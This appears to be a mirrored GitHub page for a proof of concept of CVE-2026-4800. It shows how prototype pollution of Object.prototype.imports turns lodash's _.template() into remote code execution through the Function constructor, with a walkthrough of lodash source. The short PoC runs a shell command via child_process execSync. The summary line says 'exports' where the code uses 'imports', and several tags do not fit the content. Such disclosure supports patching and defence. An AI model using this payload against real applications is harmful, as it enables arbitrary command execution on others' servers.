threalwinky/CVE-2026-4800-POC
GitHub: threalwinky/CVE-2026-4800-POC
针对 CVE-2026-4800 的概念验证代码,演示如何通过原型链污染 Lodash 的 Object.prototype.exports 继承属性,利用 _.template() 函数内部的 keysIn 和 Function 构造器实现远程代码执行。
Stars: 1 | Forks: 0
# CVE-2026-4800-POC
## 安全公告
https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc
## POC
```
const _ = require('lodash');
Object.prototype.imports = {'x=process.getBuiltinModule("child_process").execSync("curl https://example.com")':undefined}
_.template('', {});
```

## 流程
* 利用先前的原型链污染漏洞,使用攻击者可控的属性污染 Object.prototype.imports
* 接着,它使用普通的纯对象 options 值调用 _.template('', {})
* 在 `_.template()` 内部,lodash 在 [lodash.js:14877](https://github.com/lodash/lodash/tree/4.17.23/dist/lodash.js#L14877) 处使用 `assignInWith({}, options, settings, ...)` 复制了 `options`
```
function template(string, options, guard) {
// Based on John Resig's `tmpl` implementation
// (http://ejohn.org/blog/javascript-micro-templating/)
// and Laura Doktorova's doT.js (https://github.com/olado/doT).
var settings = lodash.templateSettings;
if (guard && isIterateeCall(string, options, guard)) {
options = undefined;
}
string = toString(string);
options = assignInWith({}, options, settings, customDefaultsAssignIn);
...
```
* `assignInWith` 在 [lodash.js:12778](https://github.com/lodash/lodash/tree/4.17.23/dist/lodash.js#L12778) 处使用了 `keysIn(source)`
```
var assignInWith = createAssigner(function(object, source, srcIndex, customizer) {
copyObject(source, keysIn(source), object, customizer);
});
```
* `keysIn()` 在 [lodash.js:13440](https://github.com/lodash/lodash/tree/4.17.23/dist/lodash.js#L13440) 处包含了继承的可枚举属性
```
function keysIn(object) {
return isArrayLike(object) ? arrayLikeKeys(object, true) : baseKeysIn(object);
}
```
* 由于 options 对象是一个普通的 `{}`,它会从 `Object.prototype` 继承被污染的 `imports` 属性,随后 lodash 将该继承的值复制到局部的 `options.imports` 中
* 随后 Lodash 在 [lodash.js:14889](https://github.com/lodash/lodash/tree/4.17.23/dist/lodash.js#L14889) 处使用 `assignInWith({}, options.imports, settings.imports, ...)` 构建 `imports`,在 [lodash.js:14889](https://github.com/lodash/lodash/tree/4.17.23/dist/lodash.js#L14889) 处提取 `importsKeys`,并在 [lodash.js:14957](https://github.com/lodash/lodash/tree/4.17.23/dist/lodash.js#L14957) 处将它们传入 `Function(importsKeys, ...)`
```
...
// Cleanup code by stripping empty strings.
source = (isEvaluating ? source.replace(reEmptyStringLeading, '') : source)
.replace(reEmptyStringMiddle, '$1')
.replace(reEmptyStringTrailing, '$1;');
// Frame code as the function body.
source = 'function(' + (variable || 'obj') + ') {\n' +
(variable
? ''
: 'obj || (obj = {});\n'
) +
"var __t, __p = ''" +
(isEscaping
? ', __e = _.escape'
: ''
) +
(isEvaluating
? ', __j = Array.prototype.join;\n' +
"function print() { __p += __j.call(arguments, '') }\n"
: ';\n'
) +
source +
'return __p\n}';
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
...
```
* 我注入的被污染的键被当作具有默认表达式的形式参数处理:
x=process.getBuiltinModule("child_process").execSync("curl https://example.com")
标签:CISA项目, CMS安全, CVE-2026-4800, GNU通用公共许可证, Go语言工具, JavaScript, Lodash, MITM代理, Node.js, POC, RCE, Web安全, 代码执行, 原型链污染, 安全漏洞, 数据可视化, 自定义脚本, 蓝队分析